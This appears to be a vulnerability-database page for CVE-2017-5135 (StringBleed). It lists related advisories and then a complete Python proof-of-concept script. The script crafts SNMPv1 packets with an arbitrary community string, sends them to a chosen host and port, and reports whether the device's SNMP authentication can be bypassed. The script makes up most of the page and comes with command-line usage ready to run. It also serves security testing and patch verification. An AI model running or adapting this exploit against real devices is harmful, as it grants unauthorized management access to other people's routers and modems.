| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Technicolor DPC3928SL - SNMP Authentication Bypass Exploit | 22 Dec 201700:00 | – | zdt | |
| BSA-2017-316 | 23 Jun 201700:00 | – | broadcom | |
| CVE-2017-5135 | 30 Apr 201712:53 | – | circl | |
| SNMP Protocol Community String Authentication Privilege Bypass Vulnerability in Some Vendor Devices | 27 Apr 201700:00 | – | cnvd | |
| CVE-2017-5135 | 27 Apr 201715:00 | – | cve | |
| CVE-2017-5135 | 27 Apr 201715:00 | – | cvelist | |
| Technicolor DPC3928SL - SNMP Authentication Bypass | 5 May 201700:00 | – | exploitpack | |
| K22494544: SNMP Incorrect Access Control vulnerability CVE-2017-5135 | 21 Feb 202318:33 | – | f5 | |
| StringBleed attack: analysis of the SNMP Protocol remote code execution vulnerability-vulnerability warning-the black bar safety net | 28 Apr 201700:00 | – | myhack58 | |
| StringBleed: SNMP Protocol“God mode”vulnerability affects a variety of network devices-vulnerability warning-the black bar safety net | 1 May 201700:00 | – | myhack58 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# StringBleed - CVE-2017-5135
__author__ = ["Nixawk"]
__funcs__ = [
'generate_snmp_communitystr',
'generate_snmp_proto_payload',
'send_snmp_request',
'read_snmp_communitystr',
'read_snmp_varbindstr',
'snmp_login',
'snmp_stringbleed'
]
import struct
import uuid
import socket
import time
import logging
import contextlib
logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__file__)
def generate_snmp_communitystr():
return str(uuid.uuid4())
def generate_snmp_proto_payload(community):
"""Generate snmp request with [SNMPv1] and [OID: 1.3.6.1.2.1.1.1.0]
For example, suppose one wanted to identify an instance of the
variable sysDescr The object class for sysDescr is:
iso org dod internet mgmt mib system sysDescr
1 3 6 1 2 1 1 1
"""
# SNMPv1 specifies five core protocol data units (PDUs).
# All SNMP PDUs are constructed as follows:
# ---------------------
# | IP header |
# ---------------------
# | UDP header |
# --------------------- -------|
# | version | |
# | community | |
# | PDU-type | |
# | request-id | |---- SNMP
# | error-status | |
# | error-index | |
# | variable bindings | |
# --------------------- -------|
#
# The seven SNMP protocol data unit (PDU) types are as follows:
# GetRequest
# SetRequest
# GetNextRequest
# GetBulkRequest
# Response
# Trap
# InformRequest
# SNMPv1 Message Header
# SNMPv1 Trap Message Hander
# https://tools.ietf.org/html/rfc1592
# +-----------------------------------------------------------------+
# | Table 1 (Page 1 of 2). SNMP GET PDU for dpiPortForTCP.0 |
# +---------------+----------------+--------------------------------+
# | OFFSET | VALUE | FIELD |
# +---------------+----------------+--------------------------------+
# | 0 | 0x30 | ASN.1 header |
# +---------------+----------------+--------------------------------+
# | 1 | 37 + len | PDU_length, see formula below |
# +---------------+----------------+--------------------------------+
# | 2 | 0x02 0x01 0x00 | SNMP version: |
# | | | (integer,length=1,value=0) |
# +---------------+----------------+--------------------------------+
# | 5 | 0x04 | community name (string) |
# +---------------+----------------+--------------------------------+
# | 6 | len | length of community name |
# +---------------+----------------+--------------------------------+
# | 7 | community name | varies |
# +---------------+----------------+--------------------------------+
# | 7 + len | 0xa0 0x1c | SNMP GET request: |
# | | | request_type=0xa0,length=0x1c |
# +---------------+----------------+--------------------------------+
# | 7 + len + 2 | 0x02 0x01 0x01 | SNMP request ID: |
# | | | integer,length=1,ID=1 |
# +---------------+----------------+--------------------------------+
# | 7 + len + 5 | 0x02 0x01 0x00 | SNMP error status: |
# | | | integer,length=1,error=0 |
# +---------------+----------------+--------------------------------+
# | 7 + len + 8 | 0x02 0x01 0x00 | SNMP index: |
# | | | integer,length=1,index=0 |
# +---------------+----------------+--------------------------------+
# | 7 + len + 11 | 0x30 0x11 | varBind list, length=0x11 |
# +---------------+----------------+--------------------------------+
# | 7 + len + 13 | 0x30 0x0f | varBind, length=0x0f |
# +---------------+----------------+--------------------------------+
# | 7 + len + 15 | 0x06 0x0b | Object ID, length=0x0b |
# +---------------+----------------+--------------------------------+
# | 7 + len + 17 | 0x2b 0x06 0x01 | Object-ID: |
# | | 0x04 0x01 0x02 | 1.3.6.1.4.1.2.2.1.1.1 |
# | | 0x02 0x01 0x01 | Object-instance: 0 |
# | | 0x01 0x00 | |
# +---------------+----------------+--------------------------------+
# | 7 + len + 28 | 0x05 0x00 | null value, length=0 |
# +---------------+----------------+--------------------------------+
# | NOTE: Formula to calculate "PDU_length": |
# | |
# | PDU_length = length of version field and string tag (4 bytes)|
# | + length of community length field (1 byte) |
# | + length of community name (depends...) |
# | + length of SNMP GET request (32 bytes) |
# | |
# | = 37 + length of community name |
# +-----------------------------------------------------------------+
snmp_GetNextRequest = [
b"\x30", # ASN.1 Header
b"\x29", # PDU length
b"\x02\x01\x00", # SNMP Version
b"\x04", # Community Name (string)
chr(len(community)), # Community Length
community, # Community String
b"\xa1\x19", # PDU Type - GetNextRequest
b"\x02\x04",
struct.pack("<i", int(time.time())), # Request ID
b"\x02\x01\x00", # Error Status (Type)
b"\x02\x01\x00", # Error Index
b"\x30", # Variable Type (Sequence)
b"\x0b", # Length
b"\x30", # Variable Type (Sequence)
b"\x09", # Length
b"\x06", # Variable Type (OID)
b"\x05", # Length
b"\x2b\x06\x01\x02\x01", # Value
b"\x05\x00" # NULL
]
pkt = "".join(snmp_GetNextRequest)
com_length = chr(len(community))
pdu_length = chr(len(pkt) - 2) # community length cost 1 bytes (default)
if com_length > '\x7f':
com_length = '\x81' + com_length
pdu_length = chr(len(pkt) - 1) # community length cost 2 bytes
if pdu_length > '\x7f':
pdu_length = '\x81' + pdu_length
snmp_GetNextRequest[1] = pdu_length
snmp_GetNextRequest[4] = com_length
pkt = b"".join(snmp_GetNextRequest)
return pkt
def send_snmp_request(host, port, community, timeout=6.0):
"""Send snmp request based on UDP.
"""
data = ''
try:
with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_DGRAM)) as client:
snmp_raw = generate_snmp_proto_payload(community)
client.settimeout(timeout)
client.sendto(snmp_raw, (host, port))
data, _ = client.recvfrom(2014)
except Exception as err:
log.error("{} : {} - {}".format(host, port, err))
return data
def read_snmp_communitystr(snmp_response):
"""Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
"""
community_str = ''
if not snmp_response:
return community_str
pdu_length = snmp_response[1] # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
if ord(pdu_length) > 0x7f:
offset = 8 # "\x30\x81\xea\x02\x01\x00\x04\x24"
else:
offset = 7 # "\x30\x26\x02\x01\x00\x04\x06"
community_length = snmp_response[offset - 1]
community_str = snmp_response[offset: offset +ord(community_length)]
return community_str
def read_snmp_varbindstr(snmp_response):
"""Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
"""
variable_binding_string = ''
if not snmp_response:
return variable_binding_string
pdu_length = snmp_response[1] # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
if ord(pdu_length) > 0x7f:
offset = 8 # "\x30\x81\xea\x02\x01\x00\x04\x24"
else:
offset = 7 # "\x30\x26\x02\x01\x00\x04\x06"
community_length = snmp_response[offset - 1]
pdu_data_offset = offset + ord(community_length)
pdu_data = snmp_response[pdu_data_offset:] # 8 = first snmp 8 bytes
last_pdu = pdu_data.split("\x00")[-1]
# if data > 127 (0x7f), variable-bindings length: 3 bytes
# if data < 127 (0x7f), variable-bindings length: 2 bytes
last_pdu_length = ord(last_pdu[1])
if last_pdu_length > 0x7f:
variable_binding_string = last_pdu[3:]
else:
variable_binding_string = last_pdu[2:]
return variable_binding_string
def snmp_login(host, port, community):
"""login snmp service with SNMPv1 community string.
"""
login_status = False
try:
resp_community = read_snmp_communitystr(
send_snmp_request(host, int(port), community)
)
if (resp_community == community):
login_status = True
except Exception as err:
log.error(err)
return login_status
def snmp_stringbleed(host, port, community):
"""Test againsts Snmp StringBleed CVE-2017-5135.
"""
stringbleed_status = False
try:
resp_varbindstr = read_snmp_varbindstr(
send_snmp_request(host, int(port), community)
)
if resp_varbindstr: stringbleed_status = True
except Exception as err:
log.error(err)
return stringbleed_status
if __name__ == '__main__':
import sys
if len(sys.argv) != 4:
log.info("Usage python {} <snmp-host> <snmp-port> <snmp-community-str>".format(sys.argv[0]))
sys.exit(1)
host = sys.argv[1]
port = sys.argv[2]
community = sys.argv[3]
if snmp_login(host, int(port), community):
log.info("{}:{} - [{}] snmp login successfully.".format(host, port, community))
else:
log.info("{}:{} - [{}] snmp login failed.".format(host, port, community))
if snmp_stringbleed(host, int(port), community):
log.info("{}:{} - [{}] snmp StringBleed successfully.".format(host, port, community))
else:
log.info("{}:{} - [{}] snmp StringBleed failed.".format(host, port, community))
## References
# https://tools.ietf.org/html/rfc1157
# http://stackoverflow.com/questions/22998212/decode-snmp-pdus-where-to-start
# http://www.net-snmp.org/
# https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
# https://wiki.wireshark.org/SNMP
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb648643(v=vs.85).aspx
# http://cs.uccs.edu/~cs522/studentproj/projF2004/jrreese/doc/SNMP.doc
# https://github.com/exhuma/puresnmp/blob/be1267bb792be0a5bdf57b0748354d2d3c7f9fb0/puresnmp/pdu.pyData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation